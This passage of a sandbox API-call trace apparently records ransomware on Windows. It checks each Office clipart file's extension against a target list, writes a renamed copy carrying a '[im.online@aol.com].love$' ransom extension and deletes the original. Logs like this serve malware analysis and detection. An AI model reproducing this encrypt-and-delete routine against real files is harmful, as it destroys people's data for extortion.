out: lpNewFilePointer=0x0) returned 1 [0120.689] SetEndOfFile (hFile=0x3a0) returned 1 [0120.690] CloseHandle (hObject=0x3a0) returned 1 [0120.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0120.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.691] lstrlenW (lpString=".doc") returned 4 [0120.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.691] lstrlenW (lpString=".docx") returned 5 [0120.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.691] lstrlenW (lpString=".pdf") returned 4 [0120.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.691] lstrlenW (lpString=".xls") returned 4 [0120.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.691] lstrlenW (lpString=".xlsx") returned 5 [0120.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.691] lstrlenW (lpString=".ppt") returned 4 [0120.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.691] lstrlenW (lpString=".zip") returned 4 [0120.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.692] lstrlenW (lpString=".rar") returned 4 [0120.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.692] lstrlenW (lpString=".bz2") returned 4 [0120.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.692] lstrlenW (lpString=".7z") returned 3 [0120.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.692] lstrlenW (lpString=".dbf") returned 4 [0120.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.692] lstrlenW (lpString=".1cd") returned 4 [0120.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.692] lstrlenW (lpString=".jpg") returned 4 [0120.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.692] lstrlenW (lpString=".doc") returned 4 [0120.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.692] lstrlenW (lpString=".docx") returned 5 [0120.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.692] lstrlenW (lpString=".pdf") returned 4 [0120.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.692] lstrlenW (lpString=".xls") returned 4 [0120.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.692] lstrlenW (lpString=".xlsx") returned 5 [0120.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.693] lstrlenW (lpString=".ppt") returned 4 [0120.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.693] lstrlenW (lpString=".zip") returned 4 [0120.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.693] lstrlenW (lpString=".rar") returned 4 [0120.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.693] lstrlenW (lpString=".bz2") returned 4 [0120.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.693] lstrlenW (lpString=".7z") returned 3 [0120.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.693] lstrlenW (lpString=".dbf") returned 4 [0120.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.693] lstrlenW (lpString=".1cd") returned 4 [0120.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0120.693] lstrlenW (lpString=".jpg") returned 4 [0120.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.694] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.694] lstrlenW (lpString="AN03500_.WMF") returned 12 [0120.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0120.694] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=9240) returned 1 [0120.694] CloseHandle (hObject=0x3a0) returned 1 [0120.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0120.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0120.712] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.712] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0120.717] GetLastError () returned 0x0 [0120.717] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x2418, lpOverlapped=0x0) returned 1 [0120.721] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x2420, lpOverlapped=0x0) returned 1 [0120.723] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.723] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.723] SetEndOfFile (hFile=0x3a4) returned 1 [0120.724] CloseHandle (hObject=0x3a4) returned 1 [0120.725] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.725] SetEndOfFile (hFile=0x3a0) returned 1 [0120.736] CloseHandle (hObject=0x3a0) returned 1 [0120.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0120.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.738] lstrlenW (lpString=".doc") returned 4 [0120.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.738] lstrlenW (lpString=".docx") returned 5 [0120.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.738] lstrlenW (lpString=".pdf") returned 4 [0120.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.738] lstrlenW (lpString=".xls") returned 4 [0120.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.738] lstrlenW (lpString=".xlsx") returned 5 [0120.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.738] lstrlenW (lpString=".ppt") returned 4 [0120.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.738] lstrlenW (lpString=".zip") returned 4 [0120.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.738] lstrlenW (lpString=".rar") returned 4 [0120.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.738] lstrlenW (lpString=".bz2") returned 4 [0120.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.738] lstrlenW (lpString=".7z") returned 3 [0120.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.738] lstrlenW (lpString=".dbf") returned 4 [0120.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.739] lstrlenW (lpString=".1cd") returned 4 [0120.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.739] lstrlenW (lpString=".jpg") returned 4 [0120.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.739] lstrlenW (lpString=".doc") returned 4 [0120.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.739] lstrlenW (lpString=".docx") returned 5 [0120.739] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.739] lstrlenW (lpString=".pdf") returned 4 [0120.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.739] lstrlenW (lpString=".xls") returned 4 [0120.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.739] lstrlenW (lpString=".xlsx") returned 5 [0120.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.739] lstrlenW (lpString=".ppt") returned 4 [0120.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.739] lstrlenW (lpString=".zip") returned 4 [0120.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.739] lstrlenW (lpString=".rar") returned 4 [0120.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.739] lstrlenW (lpString=".bz2") returned 4 [0120.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.739] lstrlenW (lpString=".7z") returned 3 [0120.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.740] lstrlenW (lpString=".dbf") returned 4 [0120.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.740] lstrlenW (lpString=".1cd") returned 4 [0120.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0120.740] lstrlenW (lpString=".jpg") returned 4 [0120.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.740] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.740] lstrlenW (lpString="AN04108_.WMF") returned 12 [0120.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0120.745] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=2344) returned 1 [0120.745] CloseHandle (hObject=0x3a0) returned 1 [0120.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0120.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0120.746] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.746] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0120.746] GetLastError () returned 0x0 [0120.746] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x928, lpOverlapped=0x0) returned 1 [0121.129] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x930, lpOverlapped=0x0) returned 1 [0121.272] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.272] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0121.273] SetEndOfFile (hFile=0x3a4) returned 1 [0121.783] CloseHandle (hObject=0x3a4) returned 1 [0121.814] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.814] SetEndOfFile (hFile=0x3a0) returned 1 [0121.816] CloseHandle (hObject=0x3a0) returned 1 [0121.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0121.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0121.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.817] lstrlenW (lpString=".doc") returned 4 [0121.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.817] lstrlenW (lpString=".docx") returned 5 [0121.817] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.817] lstrlenW (lpString=".pdf") returned 4 [0121.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.817] lstrlenW (lpString=".xls") returned 4 [0121.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.817] lstrlenW (lpString=".xlsx") returned 5 [0121.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.817] lstrlenW (lpString=".ppt") returned 4 [0121.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.817] lstrlenW (lpString=".zip") returned 4 [0121.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.817] lstrlenW (lpString=".rar") returned 4 [0121.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.818] lstrlenW (lpString=".bz2") returned 4 [0121.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.818] lstrlenW (lpString=".7z") returned 3 [0121.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.818] lstrlenW (lpString=".dbf") returned 4 [0121.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.818] lstrlenW (lpString=".1cd") returned 4 [0121.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.818] lstrlenW (lpString=".jpg") returned 4 [0121.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.818] lstrlenW (lpString=".doc") returned 4 [0121.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.818] lstrlenW (lpString=".docx") returned 5 [0121.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.818] lstrlenW (lpString=".pdf") returned 4 [0121.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.818] lstrlenW (lpString=".xls") returned 4 [0121.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.818] lstrlenW (lpString=".xlsx") returned 5 [0121.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.818] lstrlenW (lpString=".ppt") returned 4 [0121.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.819] lstrlenW (lpString=".zip") returned 4 [0121.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.819] lstrlenW (lpString=".rar") returned 4 [0121.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.819] lstrlenW (lpString=".bz2") returned 4 [0121.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.819] lstrlenW (lpString=".7z") returned 3 [0121.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.819] lstrlenW (lpString=".dbf") returned 4 [0121.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.819] lstrlenW (lpString=".1cd") returned 4 [0121.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0121.819] lstrlenW (lpString=".jpg") returned 4 [0121.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.819] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0121.819] lstrlenW (lpString="AN04326_.WMF") returned 12 [0121.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0121.820] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3348) returned 1 [0121.820] CloseHandle (hObject=0x3a0) returned 1 [0121.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0121.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0121.820] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.820] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0121.821] GetLastError () returned 0x0 [0121.821] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xd14, lpOverlapped=0x0) returned 1 [0121.823] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xd20, lpOverlapped=0x0) returned 1 [0121.824] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.824] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0121.824] SetEndOfFile (hFile=0x3a4) returned 1 [0121.825] CloseHandle (hObject=0x3a4) returned 1 [0121.825] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.825] SetEndOfFile (hFile=0x3a0) returned 1 [0121.827] CloseHandle (hObject=0x3a0) returned 1 [0121.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0121.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft 